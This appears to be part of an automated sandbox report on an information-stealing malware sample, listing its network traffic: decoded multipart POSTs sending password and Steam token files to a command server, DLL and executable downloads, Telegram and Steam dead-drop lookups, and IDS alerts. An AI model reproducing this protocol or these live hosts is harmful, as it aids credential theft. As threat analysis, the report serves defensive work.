66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="file_data"------CAAKKFHCFIECAAAKEGCF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEHost: kasm.zubairgul.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_data"------EGIDAAFIEHIEHJKFHCAE--
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEHost: kasm.zubairgul.comContent-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJKHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="mode"3------EGCBAFCFIJJJECBGIIJK--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKEHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="mode"4------JDAFHCGIJECFHIDGDBKE--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHHost: kasm.zubairgul.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 70 59 30 31 35 77 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 2d 2d 0d 0a Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file_data"pY015w==------CBKJKJDBFIIDHJKEHJEH--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEHost: kasm.zubairgul.comContent-Length: 113593Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJKHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="mode"5------KEGIDHJKKJDGCBGCGIJK--
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEBHost: kasm.zubairgul.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 38 35 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 2d 2d 0d 0a Data Ascii: ------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="mode"51------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="task_id"1285492------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="status"1------FBKKJEBFIDAEBFHIDAEB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="mode"6------JEBKECAFIDAFIECBKEHD--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFBHost: cowod.hopto.orgContent-Length: 5765Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 95.164.90.97 95.164.90.97

Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS
Source: Joe Sandbox View	ASN Name: VAKPoltavaUkraineUA VAKPoltavaUkraineUA

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:51294 -> 147.45.44.104:80

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_00406963

Source: global traffic	HTTP traffic detected: GET /maslengdsa HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache

Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=39cb6e9105874f5520345b5c; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type25489Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveTue, 08 Oct 2024 00:45:50 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-ControlKC equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' 